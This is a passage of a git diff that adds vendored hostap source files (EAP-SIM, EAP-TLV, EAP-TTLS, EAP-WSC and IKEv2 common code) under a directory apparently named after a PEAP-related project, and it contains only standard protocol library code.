eap_sim_msg_add(msg, attr_iv, 0, NULL, EAP_SIM_IV_LEN); + if (pos == NULL) + return -1; + msg->iv = (pos - wpabuf_head_u8(msg->buf)) + 4; + if (random_get_bytes(wpabuf_mhead_u8(msg->buf) + msg->iv, + EAP_SIM_IV_LEN)) { + msg->iv = 0; + return -1; + } + + pos = eap_sim_msg_add(msg, attr_encr, 0, NULL, 0); + if (pos == NULL) { + msg->iv = 0; + return -1; + } + msg->encr = pos - wpabuf_head_u8(msg->buf); + + return 0; +} + + +int eap_sim_msg_add_encr_end(struct eap_sim_msg *msg, u8 *k_encr, int attr_pad) +{ + size_t encr_len; + + if (msg == NULL || k_encr == NULL || msg->iv == 0 || msg->encr == 0) + return -1; + + encr_len = wpabuf_len(msg->buf) - msg->encr - 4; + if (encr_len % 16) { + u8 *pos; + int pad_len = 16 - (encr_len % 16); + if (pad_len < 4) { + wpa_printf(MSG_WARNING, "EAP-SIM: " + "eap_sim_msg_add_encr_end - invalid pad_len" + " %d", pad_len); + return -1; + } + wpa_printf(MSG_DEBUG, " *AT_PADDING"); + pos = eap_sim_msg_add(msg, attr_pad, 0, NULL, pad_len - 4); + if (pos == NULL) + return -1; + os_memset(pos + 4, 0, pad_len - 4); + encr_len += pad_len; + } + wpa_printf(MSG_DEBUG, " (AT_ENCR_DATA data len %lu)", + (unsigned long) encr_len); + wpabuf_mhead_u8(msg->buf)[msg->encr + 1] = encr_len / 4 + 1; + return aes_128_cbc_encrypt(k_encr, wpabuf_head_u8(msg->buf) + msg->iv, + wpabuf_mhead_u8(msg->buf) + msg->encr + 4, + encr_len); +} + + +void eap_sim_report_notification(void *msg_ctx, int notification, int aka) +{ +#ifndef CONFIG_NO_STDOUT_DEBUG + const char *type = aka ? "AKA" : "SIM"; +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + switch (notification) { + case EAP_SIM_GENERAL_FAILURE_AFTER_AUTH: + wpa_printf(MSG_WARNING, "EAP-%s: General failure " + "notification (after authentication)", type); + break; + case EAP_SIM_TEMPORARILY_DENIED: + wpa_printf(MSG_WARNING, "EAP-%s: Failure notification: " + "User has been temporarily denied access to the " + "requested service", type); + break; + case EAP_SIM_NOT_SUBSCRIBED: + wpa_printf(MSG_WARNING, "EAP-%s: Failure notification: " + "User has not subscribed to the requested service", + type); + break; + case EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH: + wpa_printf(MSG_WARNING, "EAP-%s: General failure " + "notification (before authentication)", type); + break; + case EAP_SIM_SUCCESS: + wpa_printf(MSG_INFO, "EAP-%s: Successful authentication " + "notification", type); + break; + default: + if (notification >= 32768) { + wpa_printf(MSG_INFO, "EAP-%s: Unrecognized " + "non-failure notification %d", + type, notification); + } else { + wpa_printf(MSG_WARNING, "EAP-%s: Unrecognized " + "failure notification %d", + type, notification); + } + } +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_sim_common.h b/peapwn/mods/hostap/src/eap_common/eap_sim_common.h new file mode 100644 index 000000000..6021bd2e2 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_sim_common.h @@ -0,0 +1,229 @@ +/* + * EAP peer/server: EAP-SIM/AKA/AKA' shared routines + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_SIM_COMMON_H +#define EAP_SIM_COMMON_H + +#define EAP_SIM_NONCE_S_LEN 16 +#define EAP_SIM_NONCE_MT_LEN 16 +#define EAP_SIM_MAC_LEN 16 +#define EAP_SIM_MK_LEN 20 +#define EAP_SIM_K_AUT_LEN 16 +#define EAP_SIM_K_ENCR_LEN 16 +#define EAP_SIM_KEYING_DATA_LEN 64 +#define EAP_SIM_IV_LEN 16 +#define EAP_SIM_KC_LEN 8 +#define EAP_SIM_SRES_LEN 4 + +#define GSM_RAND_LEN 16 + +#define EAP_SIM_VERSION 1 + +/* EAP-SIM Subtypes */ +#define EAP_SIM_SUBTYPE_START 10 +#define EAP_SIM_SUBTYPE_CHALLENGE 11 +#define EAP_SIM_SUBTYPE_NOTIFICATION 12 +#define EAP_SIM_SUBTYPE_REAUTHENTICATION 13 +#define EAP_SIM_SUBTYPE_CLIENT_ERROR 14 + +/* AT_CLIENT_ERROR_CODE error codes */ +#define EAP_SIM_UNABLE_TO_PROCESS_PACKET 0 +#define EAP_SIM_UNSUPPORTED_VERSION 1 +#define EAP_SIM_INSUFFICIENT_NUM_OF_CHAL 2 +#define EAP_SIM_RAND_NOT_FRESH 3 + +#define EAP_SIM_MAX_FAST_REAUTHS 1000 + +#define EAP_SIM_MAX_CHAL 3 + + +/* EAP-AKA Subtypes */ +#define EAP_AKA_SUBTYPE_CHALLENGE 1 +#define EAP_AKA_SUBTYPE_AUTHENTICATION_REJECT 2 +#define EAP_AKA_SUBTYPE_SYNCHRONIZATION_FAILURE 4 +#define EAP_AKA_SUBTYPE_IDENTITY 5 +#define EAP_AKA_SUBTYPE_NOTIFICATION 12 +#define EAP_AKA_SUBTYPE_REAUTHENTICATION 13 +#define EAP_AKA_SUBTYPE_CLIENT_ERROR 14 + +/* AT_CLIENT_ERROR_CODE error codes */ +#define EAP_AKA_UNABLE_TO_PROCESS_PACKET 0 + +#define EAP_AKA_RAND_LEN 16 +#define EAP_AKA_AUTN_LEN 16 +#define EAP_AKA_AUTS_LEN 14 +#define EAP_AKA_RES_MAX_LEN 16 +#define EAP_AKA_IK_LEN 16 +#define EAP_AKA_CK_LEN 16 +#define EAP_AKA_MAX_FAST_REAUTHS 1000 +#define EAP_AKA_MIN_RES_LEN 4 +#define EAP_AKA_MAX_RES_LEN 16 +#define EAP_AKA_CHECKCODE_LEN 20 + +#define EAP_AKA_PRIME_K_AUT_LEN 32 +#define EAP_AKA_PRIME_CHECKCODE_LEN 32 +#define EAP_AKA_PRIME_K_RE_LEN 32 + +struct wpabuf; + +void eap_sim_derive_mk(const u8 *identity, size_t identity_len, + const u8 *nonce_mt, u16 selected_version, + const u8 *ver_list, size_t ver_list_len, + int num_chal, const u8 *kc, u8 *mk); +void eap_aka_derive_mk(const u8 *identity, size_t identity_len, + const u8 *ik, const u8 *ck, u8 *mk); +int eap_sim_derive_keys(const u8 *mk, u8 *k_encr, u8 *k_aut, u8 *msk, + u8 *emsk); +int eap_sim_derive_keys_reauth(u16 _counter, + const u8 *identity, size_t identity_len, + const u8 *nonce_s, const u8 *mk, u8 *msk, + u8 *emsk); +int eap_sim_verify_mac(const u8 *k_aut, const struct wpabuf *req, + const u8 *mac, const u8 *extra, size_t extra_len); +void eap_sim_add_mac(const u8 *k_aut, const u8 *msg, size_t msg_len, u8 *mac, + const u8 *extra, size_t extra_len); + +#if defined(EAP_AKA_PRIME) || defined(EAP_SERVER_AKA_PRIME) +void eap_aka_prime_derive_keys(const u8 *identity, size_t identity_len, + const u8 *ik, const u8 *ck, u8 *k_encr, + u8 *k_aut, u8 *k_re, u8 *msk, u8 *emsk); +int eap_aka_prime_derive_keys_reauth(const u8 *k_re, u16 counter, + const u8 *identity, size_t identity_len, + const u8 *nonce_s, u8 *msk, u8 *emsk); +int eap_sim_verify_mac_sha256(const u8 *k_aut, const struct wpabuf *req, + const u8 *mac, const u8 *extra, + size_t extra_len); +void eap_sim_add_mac_sha256(const u8 *k_aut, const u8 *msg, size_t msg_len, + u8 *mac, const u8 *extra, size_t extra_len); + +void eap_aka_prime_derive_ck_ik_prime(u8 *ck, u8 *ik, const u8 *sqn_ak, + const u8 *network_name, + size_t network_name_len); +#else /* EAP_AKA_PRIME || EAP_SERVER_AKA_PRIME */ +static inline void eap_aka_prime_derive_keys(const u8 *identity, + size_t identity_len, + const u8 *ik, const u8 *ck, + u8 *k_encr, u8 *k_aut, u8 *k_re, + u8 *msk, u8 *emsk) +{ +} + +static inline int eap_aka_prime_derive_keys_reauth(const u8 *k_re, u16 counter, + const u8 *identity, + size_t identity_len, + const u8 *nonce_s, u8 *msk, + u8 *emsk) +{ + return -1; +} + +static inline int eap_sim_verify_mac_sha256(const u8 *k_aut, + const struct wpabuf *req, + const u8 *mac, const u8 *extra, + size_t extra_len) +{ + return -1; +} +#endif /* EAP_AKA_PRIME || EAP_SERVER_AKA_PRIME */ + + +/* EAP-SIM/AKA Attributes (0..127 non-skippable) */ +#define EAP_SIM_AT_RAND 1 +#define EAP_SIM_AT_AUTN 2 /* only AKA */ +#define EAP_SIM_AT_RES 3 /* only AKA, only peer->server */ +#define EAP_SIM_AT_AUTS 4 /* only AKA, only peer->server */ +#define EAP_SIM_AT_PADDING 6 /* only encrypted */ +#define EAP_SIM_AT_NONCE_MT 7 /* only SIM, only send */ +#define EAP_SIM_AT_PERMANENT_ID_REQ 10 +#define EAP_SIM_AT_MAC 11 +#define EAP_SIM_AT_NOTIFICATION 12 +#define EAP_SIM_AT_ANY_ID_REQ 13 +#define EAP_SIM_AT_IDENTITY 14 /* only send */ +#define EAP_SIM_AT_VERSION_LIST 15 /* only SIM */ +#define EAP_SIM_AT_SELECTED_VERSION 16 /* only SIM */ +#define EAP_SIM_AT_FULLAUTH_ID_REQ 17 +#define EAP_SIM_AT_COUNTER 19 /* only encrypted */ +#define EAP_SIM_AT_COUNTER_TOO_SMALL 20 /* only encrypted */ +#define EAP_SIM_AT_NONCE_S 21 /* only encrypted */ +#define EAP_SIM_AT_CLIENT_ERROR_CODE 22 /* only send */ +#define EAP_SIM_AT_KDF_INPUT 23 /* only AKA' */ +#define EAP_SIM_AT_KDF 24 /* only AKA' */ +#define EAP_SIM_AT_IV 129 +#define EAP_SIM_AT_ENCR_DATA 130 +#define EAP_SIM_AT_NEXT_PSEUDONYM 132 /* only encrypted */ +#define EAP_SIM_AT_NEXT_REAUTH_ID 133 /* only encrypted */ +#define EAP_SIM_AT_CHECKCODE 134 /* only AKA */ +#define EAP_SIM_AT_RESULT_IND 135 +#define EAP_SIM_AT_BIDDING 136 + +/* AT_NOTIFICATION notification code values */ +#define EAP_SIM_GENERAL_FAILURE_AFTER_AUTH 0 +#define EAP_SIM_TEMPORARILY_DENIED 1026 +#define EAP_SIM_NOT_SUBSCRIBED 1031 +#define EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH 16384 +#define EAP_SIM_SUCCESS 32768 + +/* EAP-AKA' AT_KDF Key Derivation Function values */ +#define EAP_AKA_PRIME_KDF 1 + +/* AT_BIDDING flags */ +#define EAP_AKA_BIDDING_FLAG_D 0x8000 + + +enum eap_sim_id_req { + NO_ID_REQ, ANY_ID, FULLAUTH_ID, PERMANENT_ID +}; + + +struct eap_sim_attrs { + const u8 *rand, *autn, *mac, *iv, *encr_data, *version_list, *nonce_s; + const u8 *next_pseudonym, *next_reauth_id; + const u8 *nonce_mt, *identity, *res, *auts; + const u8 *checkcode; + const u8 *kdf_input; + const u8 *bidding; + size_t num_chal, version_list_len, encr_data_len; + size_t next_pseudonym_len, next_reauth_id_len, identity_len, res_len; + size_t res_len_bits; + size_t checkcode_len; + size_t kdf_input_len; + enum eap_sim_id_req id_req; + int notification, counter, selected_version, client_error_code; + int counter_too_small; + int result_ind; +#define EAP_AKA_PRIME_KDF_MAX 10 + u16 kdf[EAP_AKA_PRIME_KDF_MAX]; + size_t kdf_count; +}; + +int eap_sim_parse_attr(const u8 *start, const u8 *end, + struct eap_sim_attrs *attr, int aka, int encr); +u8 * eap_sim_parse_encr(const u8 *k_encr, const u8 *encr_data, + size_t encr_data_len, const u8 *iv, + struct eap_sim_attrs *attr, int aka); + + +struct eap_sim_msg; + +struct eap_sim_msg * eap_sim_msg_init(int code, int id, int type, int subtype); +struct wpabuf * eap_sim_msg_finish(struct eap_sim_msg *msg, const u8 *k_aut, + const u8 *extra, size_t extra_len); +void eap_sim_msg_free(struct eap_sim_msg *msg); +u8 * eap_sim_msg_add_full(struct eap_sim_msg *msg, u8 attr, + const u8 *data, size_t len); +u8 * eap_sim_msg_add(struct eap_sim_msg *msg, u8 attr, + u16 value, const u8 *data, size_t len); +u8 * eap_sim_msg_add_mac(struct eap_sim_msg *msg, u8 attr); +int eap_sim_msg_add_encr_start(struct eap_sim_msg *msg, u8 attr_iv, + u8 attr_encr); +int eap_sim_msg_add_encr_end(struct eap_sim_msg *msg, u8 *k_encr, + int attr_pad); + +void eap_sim_report_notification(void *msg_ctx, int notification, int aka); + +#endif /* EAP_SIM_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_tlv_common.h b/peapwn/mods/hostap/src/eap_common/eap_tlv_common.h new file mode 100644 index 000000000..3286055ab --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_tlv_common.h @@ -0,0 +1,112 @@ +/* + * EAP-TLV definitions (draft-josefsson-pppext-eap-tls-eap-10.txt) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_TLV_COMMON_H +#define EAP_TLV_COMMON_H + +/* EAP-TLV TLVs (draft-josefsson-ppext-eap-tls-eap-10.txt) */ +#define EAP_TLV_RESULT_TLV 3 /* Acknowledged Result */ +#define EAP_TLV_NAK_TLV 4 +#define EAP_TLV_ERROR_CODE_TLV 5 +#define EAP_TLV_CONNECTION_BINDING_TLV 6 +#define EAP_TLV_VENDOR_SPECIFIC_TLV 7 +#define EAP_TLV_URI_TLV 8 +#define EAP_TLV_EAP_PAYLOAD_TLV 9 +#define EAP_TLV_INTERMEDIATE_RESULT_TLV 10 +#define EAP_TLV_PAC_TLV 11 /* RFC 5422, Section 4.2 */ +#define EAP_TLV_CRYPTO_BINDING_TLV 12 +#define EAP_TLV_CALLING_STATION_ID_TLV 13 +#define EAP_TLV_CALLED_STATION_ID_TLV 14 +#define EAP_TLV_NAS_PORT_TYPE_TLV 15 +#define EAP_TLV_SERVER_IDENTIFIER_TLV 16 +#define EAP_TLV_IDENTITY_TYPE_TLV 17 +#define EAP_TLV_SERVER_TRUSTED_ROOT_TLV 18 +#define EAP_TLV_REQUEST_ACTION_TLV 19 +#define EAP_TLV_PKCS7_TLV 20 + +#define EAP_TLV_RESULT_SUCCESS 1 +#define EAP_TLV_RESULT_FAILURE 2 + +#define EAP_TLV_TYPE_MANDATORY 0x8000 +#define EAP_TLV_TYPE_MASK 0x3fff + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_tlv_hdr { + be16 tlv_type; + be16 length; +} STRUCT_PACKED; + +struct eap_tlv_nak_tlv { + be16 tlv_type; + be16 length; + be32 vendor_id; + be16 nak_type; +} STRUCT_PACKED; + +struct eap_tlv_result_tlv { + be16 tlv_type; + be16 length; + be16 status; +} STRUCT_PACKED; + +/* RFC 4851, Section 4.2.7 - Intermediate-Result TLV */ +struct eap_tlv_intermediate_result_tlv { + be16 tlv_type; + be16 length; + be16 status; + /* Followed by optional TLVs */ +} STRUCT_PACKED; + +/* RFC 4851, Section 4.2.8 - Crypto-Binding TLV */ +struct eap_tlv_crypto_binding_tlv { + be16 tlv_type; + be16 length; + u8 reserved; + u8 version; + u8 received_version; + u8 subtype; + u8 nonce[32]; + u8 compound_mac[20]; +} STRUCT_PACKED; + +struct eap_tlv_pac_ack_tlv { + be16 tlv_type; + be16 length; + be16 pac_type; + be16 pac_len; + be16 result; +} STRUCT_PACKED; + +/* RFC 4851, Section 4.2.9 - Request-Action TLV */ +struct eap_tlv_request_action_tlv { + be16 tlv_type; + be16 length; + be16 action; +} STRUCT_PACKED; + +/* RFC 5422, Section 4.2.6 - PAC-Type TLV */ +struct eap_tlv_pac_type_tlv { + be16 tlv_type; /* PAC_TYPE_PAC_TYPE */ + be16 length; + be16 pac_type; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +#define EAP_TLV_CRYPTO_BINDING_SUBTYPE_REQUEST 0 +#define EAP_TLV_CRYPTO_BINDING_SUBTYPE_RESPONSE 1 + +#define EAP_TLV_ACTION_PROCESS_TLV 1 +#define EAP_TLV_ACTION_NEGOTIATE_EAP 2 + +#endif /* EAP_TLV_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_ttls.h b/peapwn/mods/hostap/src/eap_common/eap_ttls.h new file mode 100644 index 000000000..17901d42d --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_ttls.h @@ -0,0 +1,65 @@ +/* + * EAP server/peer: EAP-TTLS (RFC 5281) + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_TTLS_H +#define EAP_TTLS_H + +struct ttls_avp { + be32 avp_code; + be32 avp_length; /* 8-bit flags, 24-bit length; + * length includes AVP header */ + /* optional 32-bit Vendor-ID */ + /* Data */ +}; + +struct ttls_avp_vendor { + be32 avp_code; + be32 avp_length; /* 8-bit flags, 24-bit length; + * length includes AVP header */ + be32 vendor_id; + /* Data */ +}; + +#define AVP_FLAGS_VENDOR 0x80 +#define AVP_FLAGS_MANDATORY 0x40 + +#define AVP_PAD(start, pos) \ +do { \ + int __pad; \ + __pad = (4 - (((pos) - (start)) & 3)) & 3; \ + os_memset((pos), 0, __pad); \ + pos += __pad; \ +} while (0) + + +/* RFC 2865 */ +#define RADIUS_ATTR_USER_NAME 1 +#define RADIUS_ATTR_USER_PASSWORD 2 +#define RADIUS_ATTR_CHAP_PASSWORD 3 +#define RADIUS_ATTR_REPLY_MESSAGE 18 +#define RADIUS_ATTR_CHAP_CHALLENGE 60 +#define RADIUS_ATTR_EAP_MESSAGE 79 + +/* RFC 2548 */ +#define RADIUS_VENDOR_ID_MICROSOFT 311 +#define RADIUS_ATTR_MS_CHAP_RESPONSE 1 +#define RADIUS_ATTR_MS_CHAP_ERROR 2 +#define RADIUS_ATTR_MS_CHAP_NT_ENC_PW 6 +#define RADIUS_ATTR_MS_CHAP_CHALLENGE 11 +#define RADIUS_ATTR_MS_CHAP2_RESPONSE 25 +#define RADIUS_ATTR_MS_CHAP2_SUCCESS 26 +#define RADIUS_ATTR_MS_CHAP2_CPW 27 + +#define EAP_TTLS_MSCHAPV2_CHALLENGE_LEN 16 +#define EAP_TTLS_MSCHAPV2_RESPONSE_LEN 50 +#define EAP_TTLS_MSCHAP_CHALLENGE_LEN 8 +#define EAP_TTLS_MSCHAP_RESPONSE_LEN 50 +#define EAP_TTLS_CHAP_CHALLENGE_LEN 16 +#define EAP_TTLS_CHAP_PASSWORD_LEN 16 + +#endif /* EAP_TTLS_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_wsc_common.c b/peapwn/mods/hostap/src/eap_common/eap_wsc_common.c new file mode 100644 index 000000000..7c1496ec3 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_wsc_common.c @@ -0,0 +1,33 @@ +/* + * EAP-WSC common routines for Wi-Fi Protected Setup + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_defs.h" +#include "eap_common.h" +#include "wps/wps.h" +#include "eap_wsc_common.h" + +struct wpabuf * eap_wsc_build_frag_ack(u8 id, u8 code) +{ + struct wpabuf *msg; + + msg = eap_msg_alloc(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, 2, code, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-WSC: Failed to allocate memory for " + "FRAG_ACK"); + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-WSC: Send WSC/FRAG_ACK"); + wpabuf_put_u8(msg, WSC_FRAG_ACK); /* Op-Code */ + wpabuf_put_u8(msg, 0); /* Flags */ + + return msg; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_wsc_common.h b/peapwn/mods/hostap/src/eap_common/eap_wsc_common.h new file mode 100644 index 000000000..0e7b65308 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_wsc_common.h @@ -0,0 +1,27 @@ +/* + * EAP-WSC definitions for Wi-Fi Protected Setup + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_WSC_COMMON_H +#define EAP_WSC_COMMON_H + +#define EAP_VENDOR_TYPE_WSC 1 + +#define WSC_FLAGS_MF 0x01 +#define WSC_FLAGS_LF 0x02 + +#define WSC_ID_REGISTRAR "WFA-SimpleConfig-Registrar-1-0" +#define WSC_ID_REGISTRAR_LEN 30 +#define WSC_ID_ENROLLEE "WFA-SimpleConfig-Enrollee-1-0" +#define WSC_ID_ENROLLEE_LEN 29 + +#define WSC_FRAGMENT_SIZE 1400 + + +struct wpabuf * eap_wsc_build_frag_ack(u8 id, u8 code); + +#endif /* EAP_WSC_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/ikev2_common.c b/peapwn/mods/hostap/src/eap_common/ikev2_common.c new file mode 100644 index 000000000..f061866ae --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/ikev2_common.c @@ -0,0 +1,791 @@ +/* + * IKEv2 common routines for initiator and responder + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/random.h" +#include "ikev2_common.h" + + +static struct ikev2_integ_alg ikev2_integ_algs[] = { + { AUTH_HMAC_SHA1_96, 20, 12 }, + { AUTH_HMAC_MD5_96, 16, 12 } +}; + +#define NUM_INTEG_ALGS ARRAY_SIZE(ikev2_integ_algs) + + +static struct ikev2_prf_alg ikev2_prf_algs[] = { + { PRF_HMAC_SHA1, 20, 20 }, + { PRF_HMAC_MD5, 16, 16 } +}; + +#define NUM_PRF_ALGS ARRAY_SIZE(ikev2_prf_algs) + + +static struct ikev2_encr_alg ikev2_encr_algs[] = { + { ENCR_AES_CBC, 16, 16 }, /* only 128-bit keys supported for now */ + { ENCR_3DES, 24, 8 } +}; + +#define NUM_ENCR_ALGS ARRAY_SIZE(ikev2_encr_algs) + + +const struct ikev2_integ_alg * ikev2_get_integ(int id) +{ + size_t i; + + for (i = 0; i < NUM_INTEG_ALGS; i++) { + if (ikev2_integ_algs[i].id == id) + return &ikev2_integ_algs[i]; + } + + return NULL; +} + + +int ikev2_integ_hash(int alg, const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *hash) +{ + u8 tmphash[IKEV2_MAX_HASH_LEN]; + + switch (alg) { + case AUTH_HMAC_SHA1_96: + if (key_len != 20) + return -1; + hmac_sha1(key, key_len, data, data_len, tmphash); + os_memcpy(hash, tmphash, 12); + break; + case AUTH_HMAC_MD5_96: + if (key_len != 16) + return -1; + hmac_md5(key, key_len, data, data_len, tmphash); + os_memcpy(hash, tmphash, 12); + break; + default: + return -1; + } + + return 0; +} + + +const struct ikev2_prf_alg * ikev2_get_prf(int id) +{ + size_t i; + + for (i = 0; i < NUM_PRF_ALGS; i++) { + if (ikev2_prf_algs[i].id == id) + return &ikev2_prf_algs[i]; + } + + return NULL; +} + + +int ikev2_prf_hash(int alg, const u8 *key, size_t key_len, + size_t num_elem, const u8 *addr[], const size_t *len, + u8 *hash) +{ + switch (alg) { + case PRF_HMAC_SHA1: + hmac_sha1_vector(key, key_len, num_elem, addr, len, hash); + break; + case PRF_HMAC_MD5: + hmac_md5_vector(key, key_len, num_elem, addr, len, hash); + break; + default: + return -1; + } + + return 0; +} + + +int ikev2_prf_plus(int alg, const u8 *key, size_t key_len, + const u8 *data, size_t data_len, + u8 *out, size_t out_len) +{ + u8 hash[IKEV2_MAX_HASH_LEN]; + size_t hash_len; + u8 iter, *pos, *end; + const u8 *addr[3]; + size_t len[3]; + const struct ikev2_prf_alg *prf; + int res; + + prf = ikev2_get_prf(alg); + if (prf == NULL) + return -1; + hash_len = prf->hash_len; + + addr[0] = hash; + len[0] = hash_len; + addr[1] = data; + len[1] = data_len; + addr[2] = &iter; + len[2] = 1; + + pos = out; + end = out + out_len; + iter = 1; + while (pos < end) { + size_t clen; + if (iter == 1) + res = ikev2_prf_hash(alg, key, key_len, 2, &addr[1], + &len[1], hash); + else + res = ikev2_prf_hash(alg, key, key_len, 3, addr, len, + hash); + if (res < 0) + return -1; + clen = hash_len; + if ((int) clen > end - pos) + clen = end - pos; + os_memcpy(pos, hash, clen); + pos += clen; + iter++; + } + + return 0; +} + + +const struct ikev2_encr_alg * ikev2_get_encr(int id) +{ + size_t i; + + for (i = 0; i < NUM_ENCR_ALGS; i++) { + if (ikev2_encr_algs[i].id == id) + return &ikev2_encr_algs[i]; + } + + return NULL; +} + + +#ifdef CCNS_PL +/* from des.c */ +struct des3_key_s { + u32 ek[3][32]; + u32 dk[3][32]; +}; + +void des3_key_setup(const u8 *key, struct des3_key_s *dkey); +void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt); +void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain); +#endif /* CCNS_PL */ + + +int ikev2_encr_encrypt(int alg, const u8 *key, size_t key_len, const u8 *iv, + const u8 *plain, u8 *crypt, size_t len) +{ + struct crypto_cipher *cipher; + int encr_alg; + +#ifdef CCNS_PL + if (alg == ENCR_3DES) { + struct des3_key_s des3key; + size_t i, blocks; + u8 *pos; + + /* ECB mode is used incorrectly for 3DES!? */ + if (key_len != 24) { + wpa_printf(MSG_INFO, "IKEV2: Invalid encr key length"); + return -1; + } + des3_key_setup(key, &des3key); + + blocks = len / 8; + pos = crypt; + for (i = 0; i < blocks; i++) { + des3_encrypt(pos, &des3key, pos); + pos += 8; + } + } else { +#endif /* CCNS_PL */ + switch (alg) { + case ENCR_3DES: + encr_alg = CRYPTO_CIPHER_ALG_3DES; + break; + case ENCR_AES_CBC: + encr_alg = CRYPTO_CIPHER_ALG_AES; + break; + default: + wpa_printf(MSG_DEBUG, "IKEV2: Unsupported encr alg %d", alg); + return -1; + } + + cipher = crypto_cipher_init(encr_alg, iv, key, key_len); + if (cipher == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Failed to initialize cipher"); + return -1; + } + + if (crypto_cipher_encrypt(cipher, plain, crypt, len) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Encryption failed"); + crypto_cipher_deinit(cipher); + return -1; + } + crypto_cipher_deinit(cipher); +#ifdef CCNS_PL + } +#endif /* CCNS_PL */ + + return 0; +} + + +int ikev2_encr_decrypt(int alg, const u8 *key, size_t key_len, const u8 *iv, + const u8 *crypt, u8 *plain, size_t len) +{ + struct crypto_cipher *cipher; + int encr_alg; + +#ifdef CCNS_PL + if (alg == ENCR_3DES) { + struct des3_key_s des3key; + size_t i, blocks; + + /* ECB mode is used incorrectly for 3DES!? */ + if (key_len != 24) { + wpa_printf(MSG_INFO, "IKEV2: Invalid encr key length"); + return -1; + } + des3_key_setup(key, &des3key); + + if (len % 8) { + wpa_printf(MSG_INFO, "IKEV2: Invalid encrypted " + "length"); + return -1; + } + blocks = len / 8; + for (i = 0; i < blocks; i++) { + des3_decrypt(crypt, &des3key, plain); + plain += 8; + crypt += 8; + } + } else { +#endif /* CCNS_PL */ + switch (alg) { + case ENCR_3DES: + encr_alg = CRYPTO_CIPHER_ALG_3DES; + break; + case ENCR_AES_CBC: + encr_alg = CRYPTO_CIPHER_ALG_AES; + break; + default: + wpa_printf(MSG_DEBUG, "IKEV2: Unsupported encr alg %d", alg); + return -1; + } + + cipher = crypto_cipher_init(encr_alg, iv, key, key_len); + if (cipher == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Failed to initialize cipher"); + return -1; + } + + if (crypto_cipher_decrypt(cipher, crypt, plain, len) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Decryption failed"); + crypto_cipher_deinit(cipher); + return -1; + } + crypto_cipher_deinit(cipher); +#ifdef CCNS_PL + } +#endif /* CCNS_PL */ + + return 0; +} + + +int ikev2_parse_payloads(struct ikev2_payloads *payloads, + u8 next_payload, const u8 *pos, const u8 *end) +{ + const struct ikev2_payload_hdr *phdr; + + os_memset(payloads, 0, sizeof(*payloads)); + + while (next_payload != IKEV2_PAYLOAD_NO_NEXT_PAYLOAD) { + int plen, pdatalen; + const u8 *pdata; + wpa_printf(MSG_DEBUG, "IKEV2: Processing payload %u", + next_payload); + if (end - pos < (int) sizeof(*phdr)) { + wpa_printf(MSG_INFO, "IKEV2: Too short message for " + "payload header (left=%ld)", + (long) (end - pos)); + } + phdr = (const struct ikev2_payload_hdr *) pos; + plen = WPA_GET_BE16(phdr->payload_length); + if (plen < (int) sizeof(*phdr) || pos + plen > end) { + wpa_printf(MSG_INFO, "IKEV2: Invalid payload header " + "length %d", plen); + return -1; + } + + wpa_printf(MSG_DEBUG, "IKEV2: Next Payload: %u Flags: 0x%x" + " Payload Length: %d", + phdr->next_payload, phdr->flags, plen); + + pdata = (const u8 *) (phdr + 1); + pdatalen = plen - sizeof(*phdr); + + switch (next_payload) { + case IKEV2_PAYLOAD_SA: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: Security " + "Association"); + payloads->sa = pdata; + payloads->sa_len = pdatalen; + break; + case IKEV2_PAYLOAD_KEY_EXCHANGE: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: Key " + "Exchange"); + payloads->ke = pdata; + payloads->ke_len = pdatalen; + break; + case IKEV2_PAYLOAD_IDi: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: IDi"); + payloads->idi = pdata; + payloads->idi_len = pdatalen; + break; + case IKEV2_PAYLOAD_IDr: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: IDr"); + payloads->idr = pdata; + payloads->idr_len = pdatalen; + break; + case IKEV2_PAYLOAD_CERTIFICATE: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: Certificate"); + payloads->cert = pdata; + payloads->cert_len = pdatalen; + break; + case 